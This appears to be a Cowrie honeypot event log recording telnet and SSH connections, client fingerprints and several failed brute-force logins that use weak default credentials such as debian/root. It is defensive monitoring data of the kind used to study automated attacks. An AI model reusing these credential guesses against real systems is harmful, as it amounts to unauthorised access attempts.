{"eventid":"cowrie.session.connect","src_ip":"194.233.64.34","src_port":45178,"dst_ip":"159.203.135.109","dst_port":23,"session":"23905c6d9064","protocol":"telnet","message":"New connection: 194.233.64.34:45178 (159.203.135.109:23) [session: 23905c6d9064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:21.139702Z"}
{"eventid":"cowrie.session.closed","duration":6.854798078536987,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:27.034603Z","src_ip":"134.209.8.29","session":"dd35045e26e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.98307204246521,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:27.289749Z","src_ip":"134.209.8.29","session":"65953a953236","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.233.64.34","src_port":45210,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bb29d8b8bae","protocol":"telnet","message":"New connection: 194.233.64.34:45210 (159.203.135.109:23) [session: 5bb29d8b8bae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:29.559755Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.233.64.34","src_port":45212,"dst_ip":"159.203.135.109","dst_port":23,"session":"6dd7b0fe58a3","protocol":"telnet","message":"New connection: 194.233.64.34:45212 (159.203.135.109:23) [session: 6dd7b0fe58a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:30.450057Z"}
{"eventid":"cowrie.session.closed","duration":50.86377668380737,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:30.881043Z","src_ip":"134.209.8.29","session":"f2168e9acda2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.96.40.58","src_port":23687,"dst_ip":"159.203.135.109","dst_port":23,"session":"48fd9826a15f","protocol":"telnet","message":"New connection: 117.96.40.58:23687 (159.203.135.109:23) [session: 48fd9826a15f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:30.967212Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.233.64.34","src_port":45220,"dst_ip":"159.203.135.109","dst_port":23,"session":"06a060baed1d","protocol":"telnet","message":"New connection: 194.233.64.34:45220 (159.203.135.109:23) [session: 06a060baed1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:32.832906Z"}
{"eventid":"cowrie.session.closed","duration":68.08120608329773,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:32.959538Z","src_ip":"134.209.8.29","session":"20bab6a249de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.31915068626404,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:34.332475Z","src_ip":"38.54.119.93","session":"54c55f2b8da9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":45644,"dst_ip":"159.203.135.109","dst_port":23,"session":"d85368835ffe","protocol":"telnet","message":"New connection: 134.209.8.29:45644 (159.203.135.109:23) [session: d85368835ffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:36.106740Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":45648,"dst_ip":"159.203.135.109","dst_port":23,"session":"d982ed536e54","protocol":"telnet","message":"New connection: 134.209.8.29:45648 (159.203.135.109:23) [session: d982ed536e54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:37.611388Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":44870,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0bcc3e04cb2","protocol":"ssh","message":"New connection: 147.50.231.135:44870 (10.17.0.5:22) [session: b0bcc3e04cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:41.237934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:41.282232Z","src_ip":"147.50.231.135","session":"b0bcc3e04cb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:41.541044Z","src_ip":"147.50.231.135","session":"b0bcc3e04cb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.233.64.34","src_port":45224,"dst_ip":"159.203.135.109","dst_port":23,"session":"d165f2831fcc","protocol":"telnet","message":"New connection: 194.233.64.34:45224 (159.203.135.109:23) [session: d165f2831fcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:42.546946Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgresff","message":"login attempt [postgres/postgresff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:42.586941Z","src_ip":"147.50.231.135","session":"b0bcc3e04cb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":39386,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3bbae27c9d6","protocol":"telnet","message":"New connection: 134.209.8.29:39386 (159.203.135.109:23) [session: d3bbae27c9d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:43.773046Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:43.853821Z","src_ip":"147.50.231.135","session":"b0bcc3e04cb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.241.170.212","src_port":16869,"dst_ip":"10.17.0.5","dst_port":23,"session":"02a08ee118c2","protocol":"telnet","message":"New connection: 177.241.170.212:16869 (10.17.0.5:23) [session: 02a08ee118c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:43.989043Z"}
{"eventid":"cowrie.session.closed","duration":13.329904794692993,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:44.297021Z","src_ip":"117.96.40.58","session":"48fd9826a15f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":39400,"dst_ip":"159.203.135.109","dst_port":23,"session":"d57323272ffb","protocol":"telnet","message":"New connection: 134.209.8.29:39400 (159.203.135.109:23) [session: d57323272ffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:45.803418Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":51570,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5cbaca619f8","protocol":"telnet","message":"New connection: 38.54.119.93:51570 (10.17.0.5:23) [session: e5cbaca619f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:46.243898Z"}
{"eventid":"cowrie.session.closed","duration":55.06713032722473,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:46.543836Z","src_ip":"134.209.8.29","session":"20f10eab4582","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":41814,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c7f75e5ea06","protocol":"ssh","message":"New connection: 150.95.157.171:41814 (10.17.0.5:22) [session: 1c7f75e5ea06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:47.420629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:47.429909Z","src_ip":"150.95.157.171","session":"1c7f75e5ea06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:47.583982Z","src_ip":"150.95.157.171","session":"1c7f75e5ea06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"555555555","message":"login attempt [ubuntu/555555555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:48.245600Z","src_ip":"150.95.157.171","session":"1c7f75e5ea06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:49.413761Z","src_ip":"150.95.157.171","session":"1c7f75e5ea06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":39416,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc423ff90213","protocol":"telnet","message":"New connection: 134.209.8.29:39416 (159.203.135.109:23) [session: bc423ff90213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:50.469591Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":54650,"dst_ip":"10.17.0.5","dst_port":23,"session":"03bbf4bc1c6d","protocol":"telnet","message":"New connection: 38.54.119.93:54650 (10.17.0.5:23) [session: 03bbf4bc1c6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:50.619143Z"}
{"eventid":"cowrie.session.closed","duration":30.984389781951904,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:52.123993Z","src_ip":"194.233.64.34","session":"23905c6d9064","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":54386,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd35efb8be58","protocol":"telnet","message":"New connection: 134.209.8.29:54386 (159.203.135.109:23) [session: fd35efb8be58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:54.147864Z"}
{"eventid":"cowrie.session.closed","duration":3.8142080307006836,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:54.433227Z","src_ip":"38.54.119.93","session":"03bbf4bc1c6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":55777,"dst_ip":"159.203.135.109","dst_port":22,"session":"19d69a1629fd","protocol":"ssh","message":"New connection: 205.254.166.101:55777 (159.203.135.109:22) [session: 19d69a1629fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:55.752766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:55.762739Z","src_ip":"205.254.166.101","session":"19d69a1629fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:55.968070Z","src_ip":"205.254.166.101","session":"19d69a1629fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"root","message":"login attempt [debian/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:56.812911Z","src_ip":"205.254.166.101","session":"19d69a1629fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.90576696395874,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:56.894694Z","src_ip":"177.241.170.212","session":"02a08ee118c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:58.020631Z","src_ip":"205.254.166.101","session":"19d69a1629fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":54402,"dst_ip":"159.203.135.109","dst_port":23,"session":"0065039dc424","protocol":"telnet","message":"New connection: 134.209.8.29:54402 (159.203.135.109:23) [session: 0065039dc424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:58.397881Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":37894,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f61a3062b42","protocol":"ssh","message":"New connection: 34.135.200.178:37894 (10.17.0.5:22) [session: 2f61a3062b42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:58.912603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:58.917262Z","src_ip":"34.135.200.178","session":"2f61a3062b42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:58.953899Z","src_ip":"34.135.200.178","session":"2f61a3062b42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"555555555","message":"login attempt [ubuntu/555555555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:59.136106Z","src_ip":"34.135.200.178","session":"2f61a3062b42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:00.178632Z","src_ip":"34.135.200.178","session":"2f61a3062b42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.650206565856934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:00.209845Z","src_ip":"194.233.64.34","session":"5bb29d8b8bae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.875744342803955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:01.325681Z","src_ip":"194.233.64.34","session":"6dd7b0fe58a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.208881616592407,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:02.606658Z","src_ip":"134.209.8.29","session":"0065039dc424","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42806,"dst_ip":"159.203.135.109","dst_port":23,"session":"d423979790bc","protocol":"telnet","message":"New connection: 134.209.8.29:42806 (159.203.135.109:23) [session: d423979790bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:03.489328Z"}
{"eventid":"cowrie.session.closed","duration":31.521475315093994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:04.354253Z","src_ip":"194.233.64.34","session":"06a060baed1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42820,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a5c9aef78ce","protocol":"telnet","message":"New connection: 134.209.8.29:42820 (159.203.135.109:23) [session: 4a5c9aef78ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:06.957472Z"}
{"eventid":"cowrie.session.closed","duration":6.372295379638672,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:09.861472Z","src_ip":"134.209.8.29","session":"d423979790bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42832,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d02f50c1701","protocol":"telnet","message":"New connection: 134.209.8.29:42832 (159.203.135.109:23) [session: 6d02f50c1701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:10.617739Z"}
{"eventid":"cowrie.session.closed","duration":30.903059244155884,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:13.449944Z","src_ip":"194.233.64.34","session":"d165f2831fcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.107826232910156,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:16.214454Z","src_ip":"134.209.8.29","session":"d85368835ffe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":58514,"dst_ip":"159.203.135.109","dst_port":23,"session":"446ee8ddc248","protocol":"telnet","message":"New connection: 134.209.8.29:58514 (159.203.135.109:23) [session: 446ee8ddc248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:16.482305Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":56998,"dst_ip":"159.203.135.109","dst_port":23,"session":"cff8732b536a","protocol":"telnet","message":"New connection: 134.209.8.29:56998 (159.203.135.109:23) [session: cff8732b536a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:23.644769Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":57008,"dst_ip":"159.203.135.109","dst_port":23,"session":"aada38f7345b","protocol":"telnet","message":"New connection: 134.209.8.29:57008 (159.203.135.109:23) [session: aada38f7345b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:27.548845Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":57022,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc68323b7bd1","protocol":"telnet","message":"New connection: 134.209.8.29:57022 (159.203.135.109:23) [session: bc68323b7bd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:28.855933Z"}
{"eventid":"cowrie.session.closed","duration":3.0958433151245117,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:30.644585Z","src_ip":"134.209.8.29","session":"aada38f7345b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.5084826946258545,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:31.153137Z","src_ip":"134.209.8.29","session":"cff8732b536a","protocol":"telnet"}
